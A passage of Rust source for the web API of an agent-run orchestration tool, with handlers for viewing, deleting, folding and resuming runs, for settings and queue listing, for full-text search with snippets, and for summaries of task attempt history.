3309 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3310 prose_md: run_prose_md(&state),
3311 origin_label: crate::run::origin_label(state.origin.as_ref()),
3312 live,
3313 unmerged_by_design: state.unmerged_by_design(),
3314 done: state.status.done(),
3315 superseded_by,
3316 latest_attempt,
3317 task,
3318 state,
3319 }
3320 }
3321}
3322
3323async fn run_detail(
3324 State(ui): State<Arc<Ui>>,
3325 Path(id): Path<String>,
3326) -> ApiResult<Json<RunDetailView>> {
3327 blocking(move || {
3328 let id = resolve_run(&ui.runs, &id)?;
3329 let state = read_run(&ui.runs, &id)?;
3330 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3331 let live = state.liveness(daemon_claims);
3332 let superseded_by = ui
3333 .queue
3334 .superseded_by(&id)
3335 .as_deref()
3336 .map(crate::run::short_of)
3337 .map(str::to_owned);
3338 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3342 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3343 short: head.short().to_owned(),
3344 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3345 status: head.status,
3346 done: head.status.done(),
3347 id: head.id,
3348 })
3349 });
3350 let max_attempts = daemon::Opts::default().max_attempts;
3351 let task = ui
3352 .queue
3353 .list()
3354 .into_iter()
3355 .find(|t| t.runs.contains(&id))
3356 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3357 Ok(Json(RunDetailView::of(
3358 state,
3359 live,
3360 superseded_by,
3361 latest_attempt,
3362 task,
3363 )))
3364 })
3365 .await
3366}
3367
3368async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3377 let (id, unreadable) = {
3378 let ui = Arc::clone(&ui);
3379 blocking(move || {
3380 let id = resolve_run(&ui.runs, &id)?;
3381 match read_run(&ui.runs, &id) {
3382 Ok(state) => {
3383 let in_flight =
3384 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3385 state
3386 .ensure_can_delete(in_flight)
3387 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3388 let dir = ui.runs.join(&id);
3389 std::fs::remove_dir_all(&dir)
3390 .with_context(|| format!("remove run directory {}", dir.display()))?;
3391 Ok((id, false))
3392 }
3393 Err(_) => {
3394 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3398 return Err(ApiError::conflict(format!(
3399 "run {id} is being worked on by a live daemon right now"
3400 )));
3401 }
3402 Ok((id, true))
3403 }
3404 }
3405 })
3406 .await?
3407 };
3408 if unreadable {
3409 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3410 .await
3411 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3412 }
3413 let ui = Arc::clone(&ui);
3414 let done = id.clone();
3415 blocking(move || {
3416 ui.questions.abandon_for_run(
3419 &done,
3420 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3421 )?;
3422 Ok(())
3423 })
3424 .await?;
3425 Ok(StatusCode::NO_CONTENT)
3426}
3427
3428async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3452 let (id, state) = {
3453 let ui = Arc::clone(&ui);
3454 blocking(move || {
3455 let id = resolve_run(&ui.runs, &id)?;
3456 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3457 return Err(ApiError::conflict(format!(
3458 "run {id} is being worked on by a live daemon right now"
3459 )));
3460 }
3461 let state = read_run(&ui.runs, &id).ok();
3462 Ok((id, state))
3463 })
3464 .await?
3465 };
3466 let removed = match state {
3467 Some(mut state) => {
3468 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3469 .await
3470 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3471 if removed.is_empty() {
3476 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3477 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3478 }
3479 removed
3480 }
3481 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3482 .await
3483 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3484 };
3485 Ok(Json(FoldView {
3486 run: id,
3487 removed_count: removed.len(),
3488 removed,
3489 }))
3490}
3491
3492#[derive(Debug, Serialize)]
3494struct FoldView {
3495 run: String,
3496 removed: Vec<String>,
3498 removed_count: usize,
3499}
3500
3501#[derive(Debug, Deserialize)]
3504struct FoldMergedBody {
3505 #[serde(default)]
3506 pr_url: String,
3507}
3508
3509async fn run_fold_merged(
3529 State(ui): State<Arc<Ui>>,
3530 Path(id): Path<String>,
3531 Json(body): Json<FoldMergedBody>,
3532) -> ApiResult<Json<FoldMergedView>> {
3533 let pr_url = body.pr_url.trim().to_owned();
3534 if pr_url.is_empty() {
3535 return Err(ApiError::bad_request("pr_url is required"));
3536 }
3537 let (id, mut state) = {
3538 let ui = Arc::clone(&ui);
3539 blocking(move || {
3540 let id = resolve_run(&ui.runs, &id)?;
3541 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3542 return Err(ApiError::conflict(format!(
3543 "run {id} is being worked on by a live daemon right now"
3544 )));
3545 }
3546 let state = read_run(&ui.runs, &id)?;
3547 Ok((id, state))
3548 })
3549 .await?
3550 };
3551 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3552 .await
3553 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3554 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3555 .await
3556 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3557 Ok(Json(FoldMergedView {
3558 run: id,
3559 before: before.as_str().to_owned(),
3560 after: after.as_str().to_owned(),
3561 removed,
3562 }))
3563}
3564
3565#[derive(Debug, Serialize)]
3567struct FoldMergedView {
3568 run: String,
3569 before: String,
3571 after: String,
3573 removed: Vec<String>,
3575}
3576
3577async fn run_resume(
3597 State(ui): State<Arc<Ui>>,
3598 Path(id): Path<String>,
3599) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3600 let (id, state) = {
3601 let ui = Arc::clone(&ui);
3602 blocking(move || {
3603 let id = resolve_run(&ui.runs, &id)?;
3604 let state = read_run(&ui.runs, &id)?;
3605 Ok((id, state))
3606 })
3607 .await?
3608 };
3609 if let Some(to) = &state.released_to {
3610 return Err(ApiError::conflict(format!(
3611 "run {} can no longer be resumed: its worktree was released to run {}, which \
3612 took the branch over.",
3613 state.short(),
3614 crate::run::short_of(to)
3615 )));
3616 }
3617 if !state.status.resumable() {
3618 return Err(ApiError::conflict(format!(
3619 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3620 state.short(),
3621 status_word(state.status)
3622 )));
3623 }
3624 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3629 .into_iter()
3630 .next()
3631 {
3632 return Err(ApiError::conflict(format!(
3633 "the loop is running run {} right now; stop it first, or wait for \
3634 it to finish, before resuming a run by hand.",
3635 crate::run::short_of(&work.run)
3636 )));
3637 }
3638 let _resume = ui.begin_resume(&id)?;
3639
3640 let queued = RunSummary::of(
3643 &state,
3644 !ui.questions.open_for(&id).is_empty(),
3645 state.liveness(false),
3646 );
3647 let run = id.clone();
3648 tokio::spawn(async move {
3649 let _resume = _resume;
3650 match crate::graph::Runner::resume(&run) {
3651 Ok(mut runner) => {
3652 if let Err(e) = runner.execute().await {
3653 tracing::warn!("resume of run {run} stopped: {e:#}");
3654 }
3655 }
3656 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3659 }
3660 });
3661 Ok((StatusCode::ACCEPTED, Json(queued)))
3662}
3663
3664async fn run_report(
3665 State(ui): State<Arc<Ui>>,
3666 Path(id): Path<String>,
3667) -> ApiResult<impl IntoResponse> {
3668 let text = blocking(move || {
3669 let id = resolve_run(&ui.runs, &id)?;
3670 let state = read_run(&ui.runs, &id)?;
3674 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3675 let live = state.liveness(daemon_claims);
3676 Ok(format!(
3677 "{}{}",
3678 report::run(&state),
3679 report::active_seats(&state, live)
3680 ))
3681 })
3682 .await?;
3683 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3684}
3685
3686async fn run_report_json(
3690 State(ui): State<Arc<Ui>>,
3691 Path(id): Path<String>,
3692) -> ApiResult<Json<crate::report_view::RunReportView>> {
3693 let view = blocking(move || {
3694 let id = resolve_run(&ui.runs, &id)?;
3695 let state = read_run(&ui.runs, &id)?;
3696 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3697 Ok(crate::report_view::build(
3698 &state,
3699 state.liveness(daemon_claims),
3700 ))
3701 })
3702 .await?;
3703 Ok(Json(view))
3704}
3705
3706#[derive(Debug, Serialize)]
3712struct TaskView {
3713 #[serde(flatten)]
3714 task: Task,
3715 source_label: String,
3716 source_link: Option<SourceLink>,
3717 status_str: &'static str,
3718 instruction_md: Vec<md::Node>,
3722 waits_on: Vec<String>,
3726 stuck_roots: Vec<String>,
3729}
3730
3731impl From<Task> for TaskView {
3732 fn from(task: Task) -> Self {
3733 Self {
3734 source_label: task.source.label(),
3735 source_link: source_link(&task.source),
3736 status_str: task.status.as_str(),
3737 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3738 waits_on: Vec::new(),
3739 stuck_roots: Vec::new(),
3740 task,
3741 }
3742 }
3743}
3744
3745impl TaskView {
3746 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3747 let waits_on = inv.waits_on(&task);
3748 let stuck_roots = inv
3749 .stuck_roots(&task)
3750 .iter()
3751 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3752 .collect();
3753 Self {
3754 waits_on,
3755 stuck_roots,
3756 ..Self::from(task)
3757 }
3758 }
3759}
3760
3761#[derive(Debug, Default, Deserialize)]
3764#[serde(default)]
3765struct ReposQuery {
3766 refresh: u8,
3767}
3768
3769async fn repos_list(
3776 State(ui): State<Arc<Ui>>,
3777 Query(q): Query<ReposQuery>,
3778) -> ApiResult<Json<Vec<repos::Repo>>> {
3779 let refresh = q.refresh != 0;
3780 blocking(move || {
3781 let (cfg, _) = Config::discover(&ui.repo, None)?;
3782 Ok(Json(ui.repos_cache.list(
3783 &cfg.repos.roots,
3784 Duration::from_secs(cfg.repos.scan_ttl),
3785 refresh,
3786 )))
3787 })
3788 .await
3789}
3790
3791async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3795 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3796}
3797
3798#[derive(Debug, Deserialize)]
3800#[serde(deny_unknown_fields)]
3801struct RolesBody {
3802 revision: String,
3804 #[serde(default)]
3806 roles: std::collections::BTreeMap<String, Vec<String>>,
3807 #[serde(default)]
3811 counts: std::collections::BTreeMap<String, serde_json::Value>,
3812}
3813
3814async fn settings_put_roles(
3820 State(ui): State<Arc<Ui>>,
3821 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3822) -> ApiResult<Json<settings::SettingsView>> {
3823 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3824 blocking(move || {
3825 settings::save(
3826 &ui.repo,
3827 ui.machine_config.as_deref(),
3828 &body.revision,
3829 &body.roles,
3830 &body.counts,
3831 )
3832 .map(Json)
3833 .map_err(|e| match e {
3834 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3835 settings::SaveError::Refused(m) => ApiError {
3836 status: StatusCode::UNPROCESSABLE_ENTITY,
3837 message: m,
3838 },
3839 settings::SaveError::Internal(m) => ApiError::internal(m),
3840 })
3841 })
3842 .await
3843}
3844
3845async fn queue_list(
3846 State(ui): State<Arc<Ui>>,
3847 Query(q): Query<ListQuery>,
3848) -> ApiResult<Json<Vec<TaskView>>> {
3849 blocking(move || {
3850 let tasks = ui.queue.list();
3851 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3852 Ok(Json(
3853 tasks
3854 .into_iter()
3855 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3856 .map(|t| TaskView::with_inventory(t, &inv))
3857 .collect(),
3858 ))
3859 })
3860 .await
3861}
3862
3863const SEARCH_MAX_HITS: usize = 100;
3865const SEARCH_MAX_QUERY: usize = 200;
3867const SEARCH_MAX_TERMS: usize = 8;
3868const SNIPPET_BEFORE: usize = 50;
3870const SNIPPET_AFTER: usize = 110;
3871
3872#[derive(Debug, Deserialize)]
3874struct SearchQuery {
3875 #[serde(default)]
3876 scope: String,
3877 #[serde(default)]
3878 q: String,
3879}
3880
3881#[derive(Debug, Serialize, PartialEq, Eq)]
3884struct SnippetPart {
3885 text: String,
3886 hit: bool,
3887}
3888
3889#[derive(Debug, Serialize)]
3890struct SearchHit {
3891 id: String,
3892 field: String,
3894 snippet: Vec<SnippetPart>,
3895 #[serde(skip_serializing_if = "Option::is_none")]
3899 run: Option<RunSummary>,
3900}
3901
3902#[derive(Debug, Serialize)]
3903struct SearchView {
3904 scope: String,
3905 q: String,
3906 hits: Vec<SearchHit>,
3908 total: usize,
3910 truncated: bool,
3911 unreadable: usize,
3914}
3915
3916fn text_leaves<'a>(
3919 value: &'a serde_json::Value,
3920 field: &'a str,
3921 out: &mut Vec<(&'a str, &'a str)>,
3922) {
3923 match value {
3924 serde_json::Value::String(s) => out.push((field, s)),
3925 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3926 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3927 _ => {}
3928 }
3929}
3930
3931fn fold_char(c: char) -> char {
3934 c.to_lowercase().next().unwrap_or(c)
3935}
3936
3937fn search_terms(q: &str) -> Vec<String> {
3939 let mut terms: Vec<String> = Vec::new();
3940 for t in q.split_whitespace() {
3941 let t = t.to_lowercase();
3942 if !terms.contains(&t) {
3943 terms.push(t);
3944 }
3945 }
3946 terms
3947}
3948
3949fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3952 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3953 let mut first: Option<usize> = None;
3954 for term in terms {
3955 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3956 first = Some(first.map_or(at, |f| f.min(at)));
3957 }
3958 let (field, text) = leaves[first?];
3960 Some(SearchHit {
3961 id: String::new(),
3962 field: field.to_owned(),
3963 snippet: snippet_of(text, terms),
3964 run: None,
3965 })
3966}
3967
3968fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3971 let chars: Vec<char> = text.chars().collect();
3972 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3973 let needles: Vec<Vec<char>> = terms
3974 .iter()
3975 .map(|t| t.chars().map(fold_char).collect())
3976 .collect();
3977 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3978 let mut best: Option<(usize, usize)> = None;
3979 for n in needles.iter().filter(|n| !n.is_empty()) {
3980 if n.len() > chars.len() || to == 0 {
3984 continue;
3985 }
3986 let last = (to - 1).min(chars.len() - n.len());
3987 if from > last {
3988 continue;
3989 }
3990 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3991 && best.is_none_or(|(b, _)| i < b)
3992 {
3993 best = Some((i, i + n.len()));
3994 }
3995 }
3996 best
3997 };
3998 let Some((start, _)) = find(0, chars.len()) else {
3999 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4001 return vec![SnippetPart {
4002 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4003 hit: false,
4004 }];
4005 };
4006 let lo = start.saturating_sub(SNIPPET_BEFORE);
4007 let hi = (start + SNIPPET_AFTER).min(chars.len());
4008 let mut parts: Vec<SnippetPart> = Vec::new();
4009 let mut push = |s: &[char], hit: bool| {
4010 if s.is_empty() {
4011 return;
4012 }
4013 let text: String = s.iter().collect();
4014 match parts.last_mut() {
4015 Some(p) if p.hit == hit => p.text.push_str(&text),
4016 _ => parts.push(SnippetPart { text, hit }),
4017 }
4018 };
4019 if lo > 0 {
4020 push(&['\u{2026}'], false);
4021 }
4022 let mut at = lo;
4023 while at < hi {
4024 match find(at, hi) {
4025 Some((s, e)) => {
4026 push(&chars[at..s], false);
4027 let shown = e.min(hi);
4029 push(&chars[s..shown], true);
4030 at = shown;
4031 }
4032 None => {
4033 push(&chars[at..hi], false);
4034 at = hi;
4035 }
4036 }
4037 }
4038 if hi < chars.len() {
4039 push(&['\u{2026}'], false);
4040 }
4041 let mut prev_space = false;
4044 for p in &mut parts {
4045 let mut out = String::with_capacity(p.text.len());
4046 for c in p.text.chars() {
4047 if c.is_whitespace() {
4048 if !prev_space {
4049 out.push(' ');
4050 }
4051 prev_space = true;
4052 } else {
4053 out.push(c);
4054 prev_space = false;
4055 }
4056 }
4057 p.text = out;
4058 }
4059 parts.retain(|p| !p.text.is_empty());
4060 parts
4061}
4062
4063fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4065where
4066 I: IntoIterator<Item = (String, serde_json::Value)>,
4067{
4068 for (id, doc) in docs {
4069 let mut leaves = Vec::new();
4070 leaves.push(("id", id.as_str()));
4073 text_leaves(&doc, "", &mut leaves);
4074 if let Some(mut hit) = search_document(terms, &leaves) {
4075 view.total += 1;
4076 if view.hits.len() < SEARCH_MAX_HITS {
4077 hit.id = id;
4078 view.hits.push(hit);
4079 }
4080 }
4081 }
4082 view.truncated = view.total > view.hits.len();
4083}
4084
4085fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4092 let opener = talk
4093 .turns
4094 .iter()
4095 .find(|t| t.who == crate::talk::Who::Operator)
4096 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4097 .unwrap_or("");
4098 let title: String = if opener.chars().count() > 96 {
4099 opener.chars().take(95).chain(['\u{2026}']).collect()
4100 } else {
4101 opener.to_owned()
4102 };
4103 let turns: Vec<serde_json::Value> = talk
4104 .turns
4105 .iter()
4106 .map(|t| {
4107 let who = match t.who {
4108 crate::talk::Who::Operator => "operator",
4109 crate::talk::Who::Agent => "agent",
4110 };
4111 serde_json::json!({ who: t.body })
4112 })
4113 .collect();
4114 serde_json::json!({ "title": title, "turns": turns })
4115}
4116
4117async fn search_get(
4124 State(ui): State<Arc<Ui>>,
4125 Query(q): Query<SearchQuery>,
4126) -> ApiResult<Json<SearchView>> {
4127 let query = q.q.trim().to_owned();
4128 if query.is_empty() {
4129 return Err(ApiError::bad_request("q must not be empty"));
4130 }
4131 if query.chars().count() > SEARCH_MAX_QUERY {
4132 return Err(ApiError::bad_request(format!(
4133 "q is longer than {SEARCH_MAX_QUERY} characters"
4134 )));
4135 }
4136 let terms = search_terms(&query);
4137 if terms.len() > SEARCH_MAX_TERMS {
4138 return Err(ApiError::bad_request(format!(
4139 "q has more than {SEARCH_MAX_TERMS} terms"
4140 )));
4141 }
4142 let scope = q.scope;
4143 if scope != "runs" && scope != "tasks" && scope != "chats" {
4144 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4145 }
4146 blocking(move || {
4147 let mut view = SearchView {
4148 scope: scope.clone(),
4149 q: query,
4150 hits: Vec::new(),
4151 total: 0,
4152 truncated: false,
4153 unreadable: 0,
4154 };
4155 if scope == "runs" {
4156 let mut unreadable = 0;
4157 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4161 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4162 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4163 Some(v) => Some((id, v)),
4164 None => {
4165 unreadable += 1;
4166 None
4167 }
4168 }
4169 });
4170 search_docs(&terms, docs, &mut view);
4171 view.unreadable = unreadable;
4172 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4175 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4176 for hit in &mut view.hits {
4177 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4178 hit.run = summarize(
4179 [state],
4180 &open_runs,
4181 &claimed,
4182 &superseded,
4183 |p| probe.borrow_mut().status(p),
4184 |p| probe.borrow_mut().started_at(p),
4185 )
4186 .pop();
4187 }
4188 }
4189 } else if scope == "chats" {
4190 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4191 view.unreadable = unreadable;
4192 search_docs(
4193 &terms,
4194 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4195 &mut view,
4196 );
4197 } else {
4198 let docs = ui.queue.list().into_iter().filter_map(|t| {
4199 let mut v = serde_json::to_value(&t).ok()?;
4200 if let Some(o) = v.as_object_mut() {
4203 o.insert("filed_by".to_owned(), t.source.label().into());
4204 }
4205 Some((t.id, v))
4206 });
4207 search_docs(&terms, docs, &mut view);
4208 }
4209 Ok(Json(view))
4210 })
4211 .await
4212}
4213
4214#[derive(Debug, Serialize)]
4216struct TaskRunView {
4217 n: usize,
4219 id: String,
4220 short: String,
4221 kind: &'static str,
4223 status: Option<&'static str>,
4225 readable: bool,
4227 provisional: bool,
4229 description: String,
4231 outcome: String,
4233 created_at: Option<Timestamp>,
4234 pr: Option<String>,
4235 exit: RunExit,
4237 attempt: AttemptCost,
4239 branch: Option<String>,
4241}
4242
4243#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4245#[serde(rename_all = "snake_case")]
4246enum RunExit {
4247 Unreadable,
4248 Interrupted,
4250 Parked,
4251 QuotaStall,
4252 ResumedQuotaStall,
4256 Merged,
4257 Ready,
4258 Superseded,
4259 AlreadyInBase,
4262 Stalled,
4264 HeldWithPr,
4266 NoopHeld,
4267 Spent,
4269 InProgress,
4270}
4271
4272#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4273#[serde(rename_all = "snake_case")]
4274enum AttemptCost {
4275 Spent,
4276 Refunded,
4277 None,
4278 Unknown,
4280}
4281
4282impl RunExit {
4283 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4284 let Some(s) = s else {
4285 return Self::Unreadable;
4286 };
4287 let status = s.status;
4288 if resumed_later {
4289 Self::Interrupted
4290 } else if s.parked {
4291 Self::Parked
4292 } else if !status.done() {
4293 Self::InProgress
4294 } else if matches!(status, RunStatus::Merged) {
4295 Self::Merged
4296 } else if matches!(status, RunStatus::Ready) {
4297 Self::Ready
4298 } else if matches!(status, RunStatus::Superseded) {
4299 Self::Superseded
4300 } else if matches!(status, RunStatus::AlreadyInBase) {
4301 Self::AlreadyInBase
4302 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4303 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4304 {
4305 if resumed {
4306 Self::ResumedQuotaStall
4307 } else {
4308 Self::QuotaStall
4309 }
4310 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4311 Self::HeldWithPr
4312 } else if matches!(status, RunStatus::VerifiedNoop) {
4313 Self::NoopHeld
4314 } else if matches!(status, RunStatus::Stalled) {
4315 Self::Stalled
4316 } else {
4317 Self::Spent
4318 }
4319 }
4320
4321 fn cost(self) -> AttemptCost {
4322 match self {
4323 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4324 Self::Merged
4325 | Self::Ready
4326 | Self::Stalled
4327 | Self::HeldWithPr
4328 | Self::NoopHeld
4329 | Self::Spent => AttemptCost::Spent,
4330 Self::InProgress => AttemptCost::None,
4331 Self::AlreadyInBase => AttemptCost::Refunded,
4332 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4333 AttemptCost::Unknown
4334 }
4335 }
4336 }
4337
4338 fn edge_label(self, status: Option<&str>) -> String {
4340 match self {
4341 Self::Unreadable => "record unreadable".to_owned(),
4342 Self::Interrupted => "interrupted before the run finished".to_owned(),
4343 Self::Parked => "parked, attempt refunded".to_owned(),
4344 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4345 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4346 Self::Merged => "merged".to_owned(),
4347 Self::Ready => "ready, not merged".to_owned(),
4348 Self::Superseded => "superseded by a later attempt".to_owned(),
4349 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4350 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4351 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4352 Self::NoopHeld => "verified no-op".to_owned(),
4353 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4354 Self::InProgress => "in progress".to_owned(),
4355 }
4356 }
4357
4358 fn explains(self, end: TaskStatus) -> bool {
4361 match self {
4362 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4363 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4364 Self::Unreadable | Self::Superseded | Self::Ready => true,
4365 _ => end != TaskStatus::Done,
4366 }
4367 }
4368}
4369
4370#[derive(Debug, Serialize)]
4372struct TaskDetailView {
4373 #[serde(flatten)]
4374 task: TaskView,
4375 max_attempts: usize,
4378 history: Vec<TaskRunView>,
4379 flow: FlowView,
4380 followup_origin: Option<FollowUpOrigin>,
4382 runs_unreadable: usize,
4384 attempts_note: &'static str,
4386}
4387
4388const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4389and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4390on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4391in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4392
4393fn review_branch_of(instruction: &str) -> Option<&str> {
4396 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4397 rest.split('`').next().filter(|b| !b.is_empty())
4398}
4399
4400struct RunSlot<'a> {
4402 n: usize,
4404 resumed: bool,
4406 resumed_later: Option<usize>,
4408 prior: Option<(&'a str, RunStatus)>,
4410 last: bool,
4411}
4412
4413fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4416 let RunSlot {
4417 n,
4418 resumed,
4419 resumed_later,
4420 prior,
4421 last,
4422 } = at;
4423 let short = run::short_of(id).to_owned();
4424 let Some(s) = state else {
4425 return TaskRunView {
4426 n,
4427 id: id.to_owned(),
4428 short,
4429 kind: "unknown",
4430 status: None,
4431 readable: false,
4432 provisional: false,
4433 description:
4434 "This run's record could not be read by this build (written by a different \
4435 magi, or removed), so what kind of attempt it was is unknown."
4436 .to_owned(),
4437 outcome: String::new(),
4438 created_at: None,
4439 pr: None,
4440 exit: RunExit::Unreadable,
4441 attempt: AttemptCost::Unknown,
4442 branch: None,
4443 };
4444 };
4445 let branch = review_branch_of(&s.instruction);
4446 let kind = if resumed {
4447 "resume"
4448 } else if branch.is_some() {
4449 "review"
4450 } else if task.solo || s.candidates.len() == 1 {
4451 "solo"
4452 } else {
4453 "competition"
4454 };
4455 let mut description = match kind {
4456 "resume" => {
4457 format!("Resumed run {short}: the same run carried on instead of competing again.")
4458 }
4459 "review" => format!(
4460 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4461 branch.unwrap_or_default()
4462 ),
4463 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4464 _ => format!(
4465 "Competition: {} candidates judged blind.",
4466 s.candidates.len().max(1)
4467 ),
4468 };
4469 if !resumed && let Some((p, st)) = prior {
4470 description.push_str(&format!(
4471 " A retry: run {p} before it ended {}.",
4472 st.display_label()
4473 ));
4474 }
4475
4476 let status = s.status;
4477 let provisional = matches!(status, RunStatus::Stalled)
4478 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4479 let head = if resumed_later.is_some() {
4480 String::new()
4481 } else {
4482 match status {
4483 RunStatus::Merged => "Merged.".to_owned(),
4484 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4485 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4486 RunStatus::AlreadyInBase => {
4487 "Already in the base: this change landed under other commits, nothing was left to land."
4488 .to_owned()
4489 }
4490 RunStatus::Stalled => {
4491 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4492 .to_owned()
4493 }
4494 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4495 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4496 RunStatus::VerifiedNoop => {
4497 "Verified no-op: the candidates found nothing to change.".to_owned()
4498 }
4499 other if other.done() => format!("Ended {}.", other.display_label()),
4500 other => format!("In progress ({}).", other.display_label()),
4501 }
4502 };
4503 let why = if let Some(k) = resumed_later {
4504 let cause = if s.quota.is_empty() {
4511 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4512 } else {
4513 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4514 };
4515 format!(
4516 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4517 )
4518 } else if s.parked {
4519 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4520 .to_owned()
4521 } else if !status.done()
4522 || matches!(
4523 status,
4524 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4525 )
4526 {
4527 String::new()
4528 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4529 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4530 {
4531 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4532 .to_owned()
4533 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4534 " It left a pull request open, so the task was held for a person rather than retried."
4535 .to_owned()
